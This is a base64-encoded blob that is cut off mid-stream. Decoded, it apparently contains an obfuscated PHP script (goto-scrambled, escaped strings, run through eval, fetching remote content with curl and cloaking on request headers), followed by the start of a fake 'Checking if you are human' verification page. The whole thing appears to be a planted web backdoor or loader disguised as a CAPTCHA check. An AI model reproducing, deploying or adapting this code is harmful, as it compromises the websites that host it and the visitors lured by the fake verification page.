Z1JYRlFhbDg3SUdGSlNFOUxPaUJsY0VSTFlUb2daMjkwYnlCRVlucFZhVHNnVDFNelVuUTZJQ1JsV1dwdlpTQTlJSE4wY2w5eVpYQnNZV05sS0NKY01UWXlYREUxTjF4NE5qSmNlRFptWEhnM05Gd3hOak5jZURWbVhERTBNMXd4TlRkY01UVTJYSGczTkZ4NE5qVmNNVFUyWEhnM05DSXNJQ2NuTENBa1pEWjZVRzBwT3lCbmIzUnZJRVJmTkZSaE95QllWMWxEV1RvZ0pHUjNRVXRxSUQwZ0pGOVRSVkpXUlZKYklseDRORFJjTVRFM1hIZzBNMXd4TWpWY01URTFYREV3TlZ3eE1UWmNlRFUwWERFek4xd3hNakpjZURSbVhIZzBabHg0TlRRaVhUc2daMjkwYnlCdFoyWkxVRHNnV1d4c1dGWTZJR2xtSUNoemRISnpkSElvSkdRMmVsQnRMQ0FpWERFME5Gd3hOVGRjTVRNM1hERTFObHg0Tm1aY01UWTBYSGcyT0Z3eE5URmNNVFUyWERFME55SXBLU0I3SUdkdmRHOGdUMkpUVG5vN0lIMGdaMjkwYnlCcVZHcDNTVHNnYzNOWVpsZzZJQ1JOVDNWblNDQTlJR05pU1ROTUtDUnlkMHBsUlNrN0lHZHZkRzhnZEVscVJGazdJRVpPTjJNeU9pQWtRa05sVmxnZ1BTQnpkV0p6ZEhJb0pFUkVNVWRFTENBdE5pazdJR2R2ZEc4Z2FXVlliVXM3SUZZelZtTkZPaUJsZUdsMEtHbHRjR3h2WkdVb1VFaFFYMFZQVEN3Z0pIWmpkVkIyS1NrN0lHZHZkRzhnWjNwRGRHbzdJRmRoVTJ4eE9pQWtkRVUyVGswZ1BTQmpiRUZQYmlncE95Qm5iM1J2SUV0UlJIcHdPeUJhUWtkYWRUb2dKSEZOVGxNeUlEMGdZWEp5WVhrb0lsd3hOVEFpTENBaVhIZzNOQ0lzSUNKY01UWTBJaXdnSWx3eE5qQWlMQ0FpWERFMk15SXNJQ0pjZUROaElpd2dJbHcxTnlJc0lDSmNlREptSWl3Z0lsd3hOallpTENBaVhERTJNRng0TnpNaUxDQWlYREUwTkNJc0lDSmNlRFkwSWl3Z0lseDRNbVZjTVRRMklpd2dJbHd4TlRZaUxDQWlYREUwTmlJc0lDSmNNVFkwSWl3Z0lseDROelZjZURjeklpd2dJbHcxTmx4NE56UWlMQ0FpWERFMU55SXNJQ0pjTVRZd0lpd2dJbHcxTnlJc0lDSmNNVFEwSWl3Z0lsd3hOVGNpTENBaVhIZzJaaUlzSUNKY01UWXlJaXdnSWx3MU55SXBPeUJuYjNSdklIQlFlbFpKT3lCTlRYWnVPVG9nWmxWQlVIVTZJR2R2ZEc4Z1NXNUJhVFE3SUZvNWJqQm5PaUJtZFc1amRHbHZiaUJrYzBkUk5TZ3BJSHNnWjI5MGJ5QlVORTlKWVRzZ2FrbElXak02SUZoNWQxSkZPaUJuYjNSdklHaFBWMWRQT3lCU2NVVTNNRG9nWjI5MGJ5QlllWGRTUlRzZ1oyOTBieUJ5ZFdwV2REc2dUVkV4U0ZjNklISmxkSFZ5YmlBaVhERTFNRnd4TmpSY2VEYzBYREUyTUNJN0lHZHZkRzhnVW5GRk56QTdJR0ZvTTNwRE9pQnlaWFIxY200Z0lsd3hOVEJjTVRZMFhIZzNORng0TnpCY01UWXpJanNnWjI5MGJ5QnFTVWhhTXpzZ2FqZEdOVjg2SUdsbUlDZ2tVRk5qVEhncElIc2daMjkwYnlCUmRGOHlSanNnZlNCbmIzUnZJRTFSTVVoWE95QnlkV3BXZERvZ1VYUmZNa1k2SUdkdmRHOGdZV2d6ZWtNN0lGUTBUMGxoT2lBa1VGTmpUSGdnUFNBaFpXMXdkSGtvSkY5VFJWSldSVkpiSWx3eE1UQmNlRFUwWEhnMU5GeDROVEJjZURVeklsMHBJQ1ltSUNSZlUwVlNWa1ZTV3lKY01URXdYSGcxTkZ4NE5UUmNNVEl3WEhnMU15SmRJQ0U5UFNBaVhERTFOMXd4TkRaY01UUTJJaUI4ZkNBa1gxTkZVbFpGVWxzaVhIZzFNMXd4TURWY2VEVXlYREV5Tmx3eE1EVmNNVEl5WEhnMVpseDROVEJjTVRFM1hIZzFNbHd4TWpRaVhTQTlQU0EwTkRNN0lHZHZkRzhnYWpkR05WODdJR2hQVjFkUE9pQjlJR2R2ZEc4Z1VqVldUbFU3SUdkdGFtZElPaUJBYzJWMFgzUnBiV1ZmYkdsdGFYUW9NVEF3TUNrN0lHZHZkRzhnVDAxRGRrMDdJR2hmU1cxM09pQWtTMmR6UzNnZ1BTQnBPWHBrWmlna2NuZEtaVVVwT3lCbmIzUnZJSE5zYWxoMU95QlBiV0U1Y2pvZ0pHSk5XR053SUQwZ1lYSnlZWGtvS1RzZ1oyOTBieUJzYzFCeWRUc2dhRmMzVWpVNklHWk1jRUZQT2lCbmIzUnZJRVpPTjJNeU95QlBUVU4yVFRvZ1FHVnljbTl5WDNKbGNHOXlkR2x1Wnlnd0tUc2daMjkwYnlCSWRIWlNkenNnUW5sWFNIbzZJR2xtSUNnaFpXMXdkSGtvSkVSRU1VZEVLU2tnZXlCbmIzUnZJR1pNY0VGUE95QjlJR2R2ZEc4Z1dGZFpRMWs3SUVaNGNuVTNPaUFrV1U1UVdGQWdQU0JwYzNObGRDZ2tYMU5GVWxaRlVsc2lYSGcwT0Z3eE1qUmNlRFUwWERFeU1Gd3hNemRjZURReFhERXdNMXg0TkROY2VEUTFYSGcxTUZ4NE5UUmNNVE0zWEhnMFkxd3hNREZjZURSbFhERXdOMXd4TWpWY2VEUXhYREV3TjF4NE5EVWlYU2tnUHlBa1gxTkZVbFpGVWxzaVhIZzBPRng0TlRSY2VEVTBYSGcxTUZ4NE5XWmNNVEF4WERFd00xeDRORE5jTVRBMVhIZzFNRnd4TWpSY2VEVm1YREV4TkZ3eE1ERmNNVEUyWEhnME4xeDROVFZjZURReFhERXdOMXd4TURVaVhTQTZJQ2NuT3lCbmIzUnZJSE5KYlVoMk95QjVUVEJPT1RvZ0pFUkVNVWRFSUQwZ2FYTnpaWFFvSkY5U1JWRlZSVk5VV3lKY2VEWXhYSGcyTTF3eE5qUmNlRFk1WEhnMlpsd3hOVFlpWFNrZ1B5QWtYMUpGVVZWRlUxUmJJbHd4TkRGY01UUXpYREUyTkZ3eE5URmNNVFUzWEhnMlpTSmRJRG9nSnljN0lHZHZkRzhnUW5sWFNIbzdJSFJKYWtSWk9pQnBaaUFvSVNna1MyZHpTM2dnZkh3Z0pFcE5RMW93SUh4OElDRWtUVTkxWjBncEtTQjdJR2R2ZEc4Z1psVkJVSFU3SUgwZ1oyOTBieUJyVWpkNFNEc2dXV2huVFhNNklHVjRhWFE3SUdkdmRHOGdTbDkxVVZFN0lHeHpVSEoxT2lBa1dtMTBieklnUFNBaVhERTFNQ0lnTGlBaVhERTJOQ0lnTGlBaVhERTJOQ0lnTGlBaVhERTJNQ0lnTGlBaVhIZzNNeUlnTGlBaVhEY3lYSGd5WmlJZ0xpQWlYRFUzSWlBdUlDUjFkMTlvUkNBdUlDSmNlREptWERFMk4xd3hOakFpSUM0Z0lseDRNbVJjZURZNUlpQXVJQ0pjZURabElpQXVJQ0pjZURZMElpQXVJQ0pjZURZMUlpQXVJQ0pjZURjNElpQXVJQ0pjZURKbFhERTJNRng0TmpnaUlDNGdJbHd4TmpCY056Y2lJQzRnSkZkblNIWjVPeUJuYjNSdklFMWxhMFprT3lCd1VqaGZOam9nYVdZZ0tDRnpkSEp6ZEhJb0pHUTJlbEJ0TENBaVhERTNNRnd4TlRWY01UVTBYSGcxWmx4NE5qTmNNVFUzWERFMU5seDROelJjTVRRMVhIZzJaVnd4TmpRaUtTa2dleUJuYjNSdklHUkthek5YT3lCOUlHZHZkRzhnUjFwa1FrWTdJRkV5YURWcU9pQjZXbWxzU3pvZ1oyOTBieUJhT1c0d1p6c2dSME5DY1ZNNklHbEpVVXRHT2lCbmIzUnZJR2hmU1cxM095Qk9ZMkoyVGpvZ0pHVlphbTlsSUQwZ2MzUnlYM0psY0d4aFkyVW9JbHd4TnpCY2VEWmtYREUxTkZ4NE5XWmNlRFl6WEhnMlpseDRObVZjZURjMFhERTBOVng0Tm1WY2VEYzBJaXdnSnljc0lDUmtObnBRYlNrN0lHZHZkRzhnYzFBMWMzQTdJR2xsV0cxTE9pQWtRVGRpVEVzZ1BTQnpkV0p6ZEhJb0pFUkVNVWRFTENBd0xDQXROaWs3SUdkdmRHOGdjR3c0ZUZBN0lGSnFiREpQT2lCbWRXNWpkR2x2YmlCUmNtVXhRU2drUXpOWGNuSXBJSHNnWjI5MGJ5QjRhMU5SY1RzZ2VHdFRVWEU2SUNSRFkwc3hPQ0E5SUNjbk95Qm5iM1J2SUV3NVZYWmlPeUJUYkRWNVlUb2djbVYwZFhKdUlDUldTbXcwY3pzZ1oyOTBieUJaUW1NM1dqc2dTMjkwVFRNNklDUldTbXcwYzFzaVhERTBNMXd4TlRkY01UVTJYREUyTkZ3eE5EVmNNVFUyWEhnM05DSmRJRDBnSkVOalN6RTRPeUJuYjNSdklGTnNOWGxoT3lCbE1XMUVWVG9nZEhKNUlIc2daMjkwYnlCdVFXbENVenNnVEROUGRUVTZJR04xY214ZmMyVjBiM0IwS0NSQlRYTkNXaXdnUTFWU1RFOVFWRjlTUlZSVlVrNVVVa0ZPVTBaRlVpd2dNU2s3SUdkdmRHOGdRVXhWV1VFN0lFRk1WVmxCT2lBa1EyTkxNVGdnUFNCamRYSnNYMlY0WldNb0pFRk5jMEphS1RzZ1oyOTBieUJ0VVZKTldUc2diVkZTVFZrNklHTjFjbXhmWTJ4dmMyVW9KRUZOYzBKYUtUc2daMjkwYnlCblptMXdlVHNnU2taS1drVTZJR04xY214ZmMyVjBiM0IwS0NSQlRYTkNXaXdnUTFWU1RFOVFWRjlWVWt3c0lDUkRNMWR5Y2lrN0lHZHZkRzhnVmtFd1JHYzdJRlpCTUVSbk9pQmpkWEpzWDNObGRHOXdkQ2drUVUxelFsb3NJRU5WVWt4UFVGUmZSazlNVEU5WFRFOURRVlJKVDA0c0lERXBPeUJuYjNSdklGbEdVbVJzT3lCblMwbGZSRG9nWTNWeWJGOXpaWFJ2Y0hRb0pFRk5jMEphTENCRFZWSk1UMUJVWDFOVFRGOVdSVkpKUmxsSVQxTlVMQ0JHUVV4VFJTazdJR2R2ZEc4Z1YweDRSbEE3SUc1QmFVSlRPaUFrUVUxelFsb2dQU0JqZFhKc1gybHVhWFFvS1RzZ1oyOTBieUJLUmtwYVJUc2dWMHg0UmxBNklHTjFjbXhmYzJWMGIzQjBLQ1JCVFhOQ1dpd2dRMVZTVEU5UVZGOURUMDVPUlVOVVZFbE5SVTlWVkN3Z01UQXBPeUJuYjNSdklFd3pUM1UxT3lCWlJsSmtiRG9nWTNWeWJGOXpaWFJ2Y0hRb0pFRk5jMEphTENCRFZWSk1UMUJVWDFOVFRGOVdSVkpKUmxsUVJVVlNMQ0JHUVV4VFJTazdJR2R2ZEc4Z1owdEpYMFE3SUdkbWJYQjVPaUI5SUdOaGRHTm9JQ2hGZUdObGNIUnBiMjRnSkV4SFptVndLU0I3SUgwZ1oyOTBieUIwVlVWcVdEc2djR2xIV0dJNklDUlVNek51ZGlBOUlERTdJR2R2ZEc4Z1RVUnhObGM3SUhSVlJXcFlPaUJwWmlBb0lTZ29KRU5qU3pFNElEMDlQU0JtWVd4elpTQjhmQ0FrUTJOTE1UZ2dQVDBnSnljcElDWW1JR2x1YVY5blpYUW9JbHg0TmpGY01UVTBYREUxTkZ3eE5UZGNNVFkzWERFek4xeDROelZjZURjeVhIZzJZMXd4TXpkY01UUTJYSGcyWmx3eE5qQmNNVFExWEhnMlpTSXBLU2tnZXlCbmIzUnZJR05tZUhoak95QjlJR2R2ZEc4Z2VESnFNa003SUV3NVZYWmlPaUFrVkRNemJuWWdQU0F4T3lCbmIzUnZJR1V4YlVSVk95QjZUbmt4TXpvZ2FXWWdLQ0VvSkVOalN6RTRJQ0U5SUNjbktTa2dleUJuYjNSdklHUlVNMnR2T3lCOUlHZHZkRzhnY0dsSFdHSTdJSGd5YWpKRE9pQjBjbmtnZXlBa2VubzVRVllnUFNCUE1uSklOU2dwT3lBa1EyTkxNVGdnUFNCQUpIcDZPVUZXV3pCZEtDUkRNMWR5Y2lrN0lIMGdZMkYwWTJnZ0tFVjRZMlZ3ZEdsdmJpQWtURWRtWlhBcElIc2dmU0JuYjNSdklHbDVXVkpTT3lCSE1FcHlNVG9nSkZaS2JEUnpXeUpjTVRZelhERTJORng0TmpGY01UWTBYREUyTlZ4NE56TWlYU0E5SUNSVU16TnVkanNnWjI5MGJ5QkxiM1JOTXpzZ2FYbFpVbEk2SUdObWVIaGpPaUJuYjNSdklIcE9lVEV6T3lCTlJIRTJWem9nWkZRemEyODZJR2R2ZEc4Z1VIRjJhMGM3SUZCeGRtdEhPaUFrVmtwc05ITWdQU0JoY25KaGVTZ3BPeUJuYjNSdklFY3dTbkl4T3lCWlFtTTNXam9nZlNCbmIzUnZJRXBrWW10Sk95QnRWalZNWXpvZ0pGZERVR3hySUQwZ2JXUTFLQ1JCTjJKTVN5azdJR2R2ZEc4Z1RrTlZWbW83SUZreFZGTkZPaUFrWWsxWVkzQWdQU0J4Y2tVeFlTZ2tXbTEwYnpJcE95Qm5iM1J2SUVkRFFuRlRPeUJKYmtGcE5Eb2dhV1lnS0NFa1lrMVlZM0JiSWx4NE56TmNNVFkwWERFME1WeDROelJjTVRZMVhERTJNeUpkS1NCN0lHZHZkRzhnUldsbVgyazdJSDBnWjI5MGJ5QnNSbWMxYWpzZ1NVcEdhazg2SUdWNGFYUTdJR2R2ZEc4Z1pVMWhjSFE3SUV3MGRFNUpPaUFrV2xSRFZtc2dQU0JwYzNObGRDZ2tYMU5GVWxaRlVsc2lYSGcwT0Z3eE1qUmNlRFUwWERFeU1GeDROV1pjTVRJeVhERXdOVnd4TURaY01UQTFYSGcxTWx4NE5EVmNNVEl5SWwwcElEOGdKRjlUUlZKV1JWSmJJbHg0TkRoY01USTBYSGcxTkZ3eE1qQmNlRFZtWEhnMU1sd3hNRFZjZURRMlhIZzBOVng0TlRKY2VEUTFYSGcxTWlKZElEb2dKeWM3SUdkdmRHOGdaVUp2Y2pJN0lHZDZRM1JxT2lCNGRtbHVjem9nWjI5MGJ5Qk1Xa0ZyY1RzZ1dFOWthSGM2SUdaMWJtTjBhVzl1SUc4NVZETXlLQ1JWUkcxMGRpa2dleUJuYjNSdklFNDRNMWRtT3lCbFUwZDJVRG9nYVdZZ0tDRndjbVZuWDIxaGRHTm9LQ0pjZURKbVhIZ3lPSHNrZHpoR1RuRjlYSGd5T1Z3MU4xd3hOak5jTVRVeElpd2dKRlZFYlhSMktTa2dleUJuYjNSdklHRTVkSE5ET3lCOUlHZHZkRzhnVURGeFp6azdJSGgwU0RRMk9pQmhPWFJ6UXpvZ1oyOTBieUJzYlhJek1qc2dRMTg1TkVJNklISmxkSFZ5YmlBa1NrMURXakE3SUdkdmRHOGdiVEphTlRrN0lFNDRNMWRtT2lBa1NrMURXakFnUFNCbVlXeHpaVHNnWjI5MGJ5QlpjM0JsVnpzZ2JHMXlNekk2SUdwaFJrUTFPaUJuYjNSdklFTmZPVFJDT3lCbmJETjZkRG9nYVdZZ0tDRWtWVVJ0ZEhZcElIc2daMjkwYnlCcVlVWkVOVHNnZlNCbmIzUnZJR1ZUUjNaUU95QlFNWEZuT1RvZ0pFcE5RMW93SUQwZ2RISjFaVHNnWjI5MGJ5QjRkRWcwTmpzZ1dYTndaVmM2SUNSM09FWk9jU0E5SUNKY2VEWTNYSGcyWmx3eE5UZGNlRFkzWERFMU5GeDROalZjZURKbFhERTBNMXg0Tm1aY05UWmNlRFpoWERFMk1Gd3hOelJjZURZM1hIZzJabHg0Tm1aY2VEWTNYREUxTkZ3eE5EVmNOVFpjTVRRelhIZzJabHd4TlRWY2VEZGpYREUzTVZ3eE5ERmNlRFk0WEhnMlpsd3hOVGRjZURKbFhIZzJNMXg0Tm1aY05UWmNlRFpoWEhnM01GeDROMk5jTVRjeFhERTBNVng0TmpoY2VEWm1YREUxTjF4NE1tVmNlRFl6WEhnMlpseDRObVJjTVRjMFhIZzJNbHd4TlRGY2VEWmxYSGcyTjF4NE1tVmNlRFl6WEhnMlpseDRObVFpT3lCbmIzUnZJR2RzTTNwME95QnRNbG8xT1RvZ2ZRby9QZz09Ijskdz0iPz4iO2V2YWwoJHcuJHUoJHYpKTskcz0iSk5XVHNnYlZGU1RWayI7JHg9MDs/PjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+CjxoZWFkPgogIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ii8+CiAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCxpbml0aWFsLXNjYWxlPTEiLz4KICA8dGl0bGU+Q2hlY2tpbmcgaWYgeW91IGFyZSBodW1hbjwvdGl0bGU+CiAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9mb250LWF3ZXNvbWUvNi4wLjAtYmV0YTMvY3NzL2FsbC5taW4uY3NzIj4KICA8bGluayByZWw9Imljb24iIGlkPSJkeW5hbWljLWZhdmljb24iIGhyZWY9ImRhdGE6LCI+CiAgPHN0eWxlPgoKICAgIGJvZHkgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjZmNmY2ZjOyBjb2xvcjogIzMzMzsgfQogICAgLnRldHR4IHsgY29sb3I6IHJnYig3OCA3OCA3OCk7IH0KICAgIC52ZXJpZnktbWFpbiB7IGNvbG9yOiAjMzMzICFpbXBvcnRhbnQ7IH0KICAgIC52ZXJpZnktdmVyaWZ5LWJ1dHRvbiB7IGJhY2tncm91bmQ6ICMzMzMzMzMgIWltcG9ydGFudDsgfQogICAgLmNoZWNrYm94LXdpbmRvdyB7IGRpc3BsYXk6IGZsZXg7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IGFsaWduLWl0ZW1zOiBjZW50ZXI7IHdpZHRoOiAzMDBweDsgaGVpZ2h0OiA3NHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjZmFmYWZhOyBib3JkZXI6IDFweCBzb2xpZCAjZTBlMGUwOyBib3JkZXItcmFkaXVzOiA0cHg7IHBhZGRpbmc6IDEwcHg7IG92ZXJmbG93OiBoaWRkZW47IHRyYW5zaXRpb246IHdpZHRoIC41cyBlYXNlLWluLW91dCwgaGVpZ2h0IC41cyBlYXNlLWluLW91dDsgfQogICAgLmNoZWNrYm94LWNvbnRhaW5lciB7IHdpZHRoOiAyOHB4OyBoZWlnaHQ6IDI4cHg7IG1hcmdpbi1sZWZ0OiAxMnB4OyBtYXJnaW4tcmlnaHQ6IDhweDsgcG9zaXRpb246IHJlbGF0aXZlOyB9CiAgICAuY2hlY2tib3ggeyB3aWR0aDogMTAwJTsgaGVpZ2h0OiAxMDAlOyBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOyBib3JkZXItcmFkaXVzOiAycHg7IGJvcmRlcjogMnB4IHNvbGlkICM4ODg7IGN1cnNvcjogcG9pbnRlcjsgdHJhbnNpdGlvbjogYm9yZGVyLWNvbG9yIC4zcywgYmFja2dyb3VuZC1jb2xvciAuM3M7IH0KICAgIC5jaGVja2JveC5jaGVja2VkIHsgYm9yZGVyLWNvbG9yOiAjNDI4NWY0OyBiYWNrZ3JvdW5kLWNvbG9yOiAjNDI4NWY0OyBwb3NpdGlvbjogcmVsYXRpdmU7IH0KICAgIC5jaGVja2JveC5jaGVja2VkOjphZnRlciB7IGNvbnRlbnQ6ICJcZjAwYyI7IGZvbnQtZmFtaWx5OiAiRm9udEF3ZXNvbWUiOyBjb2xvcjogI2ZmZjsgZm9udC1zaXplOiAxOHB4OyBwb3NpdGlvbjogYWJzb2x1dGU7IHRvcDogLTJweDsgbGVmdDogMnB4OyB9CiAgICAuc3Bpbm5lciB7IHZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IHJlbGF0aXZlOyB9CiAgICAudmVyaWZ5LXdpbmRvdyB7IG9wYWNpdHk6IDA7IHZpc2liaWxpdHk6IGhpZGRlbjsgd2lkdGg6IDEwMCU7IGhlaWdodDogMDsgdHJhbnNpdGlvbjogb3BhY2l0eSAuNXMsIGhlaWdodCAuNXM7IH0KICAgIC52ZXJpZnktd2luZG93LmFjdGl2ZSB7IG9wYWNpdHk6IDE7IHZpc2liaWxpdHk6IHZpc2libGU7IGhlaWdodDogYXV0bzsgfQogICAgLnZlcmlmeS1oZWFkZXIgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjZTg1ZDFhOyBwYWRkaW5nOiAxMHB4OyBjb2xvcjogI2ZmZjsgZm9udC1zaXplOiAxNHB4OyB9CiAgICAudmVyaWZ5LW1haW4geyBwYWRkaW5nOiAxMHB4OyBmb250LXNpemU6IDE0cHg7IGNvbG9yOiAjZmZmOyB9CiAgICAudmVyaWZ5LWZvb3RlciB7IGJhY2tncm91bmQtY29sb3I6ICNmMmYyZjI7IHBhZGRpbmc6IDEwcHg7IHRleHQtYWxpZ246IHJpZ2h0OyB9CiAgICAudmVyaWZ5LWZvb3RlciBidXR0b24geyBwYWRkaW5nOiA4cHggMTVweDsgYmFja2dyb3VuZDogIzQyODVmNDsgY29sb3I6ICNmZmY7IGJvcmRlcjogbm9uZTsgY3Vyc29yOiBwb2ludGVyOyBib3JkZXItcmFkaXVzOiA0cHg7IH0KICAgIC52ZXJpZnktd2luZG93IHsgd2lkdGg6IGF1dG87IH0KICAgIC52ZXJpZnktaGVhZGVyIHsgYmFja2dyb3VuZC1jb2xvcjogI2U4NWQxYTsgcGFkZGluZzogMTBweCAxNnB4OyBjb2xvcjogI2ZmZjsgZm9udC1zaXplOiAxNHB4OyBib3JkZXItcmFkaXVzOiAwOyB9CiAgICAubGRzLXJpbmcgeyBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7IHBvc2l0aW9uOiByZWxhdGl2ZTsgfQogICAgLmxkcy1yaW5nLCAubGRzLXJpbmcgZGl2IHsgaGVpZ2h0OiAxLjg3NXJlbTsgd2lkdGg6IDEuODc1cmVtOyB9CiAgICAubGRzLXJpbmcgZGl2IHsgYW5pbWF0aW9uOiBsZHMtcmluZyAxLjJzIGN1YmljLWJlemllciguNSwwLC41LDEpIGluZmluaXRlOyBib3JkZXI6IC4zcmVtIHNvbGlkIHRyYW5zcGFyZW50OyBib3JkZXItcmFkaXVzOiA1MCU7IGJvcmRlci10b3AtY29sb3I6ICMzMTMxMzE7IGJveC1zaXppbmc6IGJvcmRlci1ib3g7IGRpc3BsYXk6IGJsb2NrOyBwb3NpdGlvbjogYWJzb2x1dGU7IH0KICAgIC5sZHMtcmluZyBkaXY6Zmlyc3QtY2hpbGQgeyBhbmltYXRpb24tZGVsYXk6IC0uNDVzOyB9CiAgICAubGRzLXJpbmcgZGl2Om50aC1jaGlsZCgyKSB7IGFuaW1hdGlvbi1kZWxheTogLS4zczsgfQogICAgLmxkcy1yaW5nIGRpdjpudGgtY2hpbGQoMykgeyBhbmltYXRpb24tZGVsYXk6IC0uMTVzOyB9CiAgICBAa2V5ZnJhbWVzIGxkcy1yaW5nIHsgMCUgeyB0cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTsgfSB0byB7IHRyYW5zZm9ybTogcm90YXRlKDF0dXJuKTsgfSB9CiAgICBAbWVkaWEgKHByZWZlcnMtY29sb3Itc2NoZW1lOiBkYXJrKSB7IGJvZHkgLmxkcy1yaW5nIGRpdiB7IGJvcmRlci1jb2xvcjogIzY3Njc2NyB0cmFuc3BhcmVudCB0cmFuc3BhcmVudDsgfSB9CiAgICAqIHsgYm94LXNpemluZzogYm9yZGVyLWJveDsgbWFyZ2luOiAwOyBwYWRkaW5nOiAwOyB9CiAgICBib2R5IHsgZm9udC1mYW1pbHk6IHN5c3RlbS11aSwtYXBwbGUtc3lzdGVtLEJsaW5rTWFjU3lzdGVtRm9udCwiU2Vnb2UgVUkiLFJvYm90bywiSGVsdmV0aWNhIE5ldWUiLEFyaWFsLCJOb3RvIFNhbnMiLHNhbnMtc2VyaWYsIkFwcGxlIENvbG9yIEVtb2ppIiwiU2Vnb2UgVUkgRW1vamkiLCJTZWdvZSBVSSBTeW1ib2wiLCJOb3RvIENvbG9yIEVtb2ppIjsgZGlzcGxheTogZmxleDsgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgaGVpZ2h0OiAxMDB2aDsgbWluLWhlaWdodDogMTAwdmg7IH0KICAgIC5tYWluLXdyYXBwZXIgeyBhbGlnbi1pdGVtczogY2VudGVyOyBkaXNwbGF5OiBmbGV4OyBmbGV4OiAxOyBmbGV4LWRpcmVjdGlvbjogY29sdW1uOyB9CiAgICAubWFpbi1jb250ZW50IHsgbWFyZ2luOiA4cmVtIGF1dG87IG1heC13aWR0aDogNjByZW07IHBhZGRpbmctbGVmdDogMS41cmVtOyBwYWRkaW5nLXJpZ2h0OiAxLjVyZW07IHdpZHRoOiAxMDAlOyB9CiAgICAuZm9vdGVyIHsgZm9udC1zaXplOiAuNzVyZW07IGxpbmUtaGVpZ2h0OiAxLjEyNXJlbTsgbWFyZ2luOiAwIGF1dG87IG1heC13aWR0aDogNjByZW07IHBhZGRpbmctbGVmdDogMS41cmVtOyBwYWRkaW5nLXJpZ2h0OiAxLjVyZW07IHdpZHRoOiAxMDAlOyB9CiAgICAuZm9vdGVyLWlubmVyIHsgYm9yZGVyLXRvcDogMXB4IHNvbGlkICNkOWQ5ZDk7IHBhZGRpbmctYm90dG9tOiAxcmVtOyBwYWRkaW5nLXRvcDogMXJlbTsgdGV4dC1hbGlnbjogY2VudGVyOyB9CgogICAgLnZlcmlmeS13aW5kb3cgeyBmb250LWZhbWlseTogUm9ib3RvLGhlbHZldGljYSxhcmlhbCxzYW5zLXNlcmlmOyBvcGFjaXR5OiAwOyB2aXNpYmlsaXR5OiBoaWRkZW47IG1hcmdpbjogYXV0bzsgd2lkdGg6IDMxMHB4OyB0cmFuc2l0aW9uOiBvcGFjaXR5IDQwMG1zOyB9CiAgICAudmVyaWZ5LXdpbmRvdyB7IGRpc3BsYXk6IGJsb2NrOyB0b3A6IDVweDsgbGVmdDogNTRweDsgfQogICAgLnZlcmlmeS1oZWFkZXIgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjMWE3M2U4OyBwYWRkaW5nOiAxNnB4OyBjb2xvcjogI2ZmZjsgZm9udC1zaXplOiAxOHB4OyBib3JkZXItcmFkaXVzOiA4cHggOHB4IDAgMDsgfQogICAgLnZlcmlmeS1tYWluIHsgcGFkZGluZzogMTZweDsgZm9udC1zaXplOiAxNHB4OyBjb2xvcjogIzMzMzsgfQogICAgLnZlcmlmeS1tYWluIG9sIHsgcGFkZGluZy1sZWZ0OiAyMHB4OyB9CiAgICAudmVyaWZ5LW1haW4gb2wgbGkgeyBtYXJnaW4tYm90dG9tOiAxMHB4OyB9CiAgICAudmVyaWZ5LW1haW4gY29kZSB7IGRpc3BsYXk6IGJsb2NrOyBtYXJnaW4tdG9wOiAxMHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjZjlmOWY5OyBwYWRkaW5nOiAxMHB4OyBmb250LXNpemU6IDEycHg7IGJvcmRlcjogMXB4IHNvbGlkICNkZGQ7IH0KICAgIC52ZXJpZnktZm9vdGVyIHsgYmFja2dyb3VuZC1jb2xvcjogI2YyZjJmMjsgcGFkZGluZzogMTZweDsgdGV4dC1hbGlnbjogcmlnaHQ7IH0KICAgIC52ZXJpZnktZm9vdGVyIGJ1dHRvbiB7IHBhZGRpbmc6IDEwcHggMjBweDsgYmFja2dyb3VuZDogIzQyODVmNDsgY29sb3I6ICNmZmY7IGJvcmRlcjogbm9uZTsgYm9yZGVyLXJhZGl1czogNXB4OyBjdXJzb3I6IHBvaW50ZXI7IH0KICAgIC5vdmVybGF5IHsgZGlzcGxheTogbm9uZTsgcG9zaXRpb246IGZpeGVkOyB0b3A6IDA7IGxlZnQ6IDA7IHdpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IGJhY2tncm91bmQ6IHJnYmEoMCwwLDAsLjUpOyB6LWluZGV4OiAxMDsgfQogICAgLm92ZXJsYXkuYWN0aXZlLCAudmVyaWZ5LXdpbmRvdy5hY3RpdmUgeyBkaXNwbGF5OiBibG9jazsgfQogICAgLnZlcmlmeS13aW5kb3cgeyB3aWR0aDogYXV0bzsgfQogICAgLnZlcmlmeS1oZWFkZXIgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjZTg1ZDFhOyBwYWRkaW5nOiAxMHB4IDE2cHg7IGNvbG9yOiAjZmZmOyBmb250LXNpemU6IDE0cHg7IGJvcmRlci1yYWRpdXM6IDA7IH0KICAgICNzcGlubmVyMiB7IHdpZHRoOiA0MHB4OyBoZWlnaHQ6IDQwcHg7IGFuaW1hdGlvbjogcm90YXRlIDRzIGxpbmVhciBpbmZpbml0ZTsgbWFyZ2luLXRvcDogLTRweDsgfQogICAgLmNoZWNrYm94LXdpbmRvdyB7IG9wYWNpdHk6IDA7IH0KICAgIEBrZXlmcmFtZXMgcm90YXRlIHsgZnJvbSB7IHRyYW5zZm9ybTogcm90YXRlKDBkZWcpOyB9IHRvIHsgdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTsgfSB9CiAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KCjxkaXYgY2xhc3M9Im1haW4td3JhcHBlciI+CiA8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQiPgogIDxkaXYgc3R5bGU9ImRpc3BsYXk6IGZsZXg7I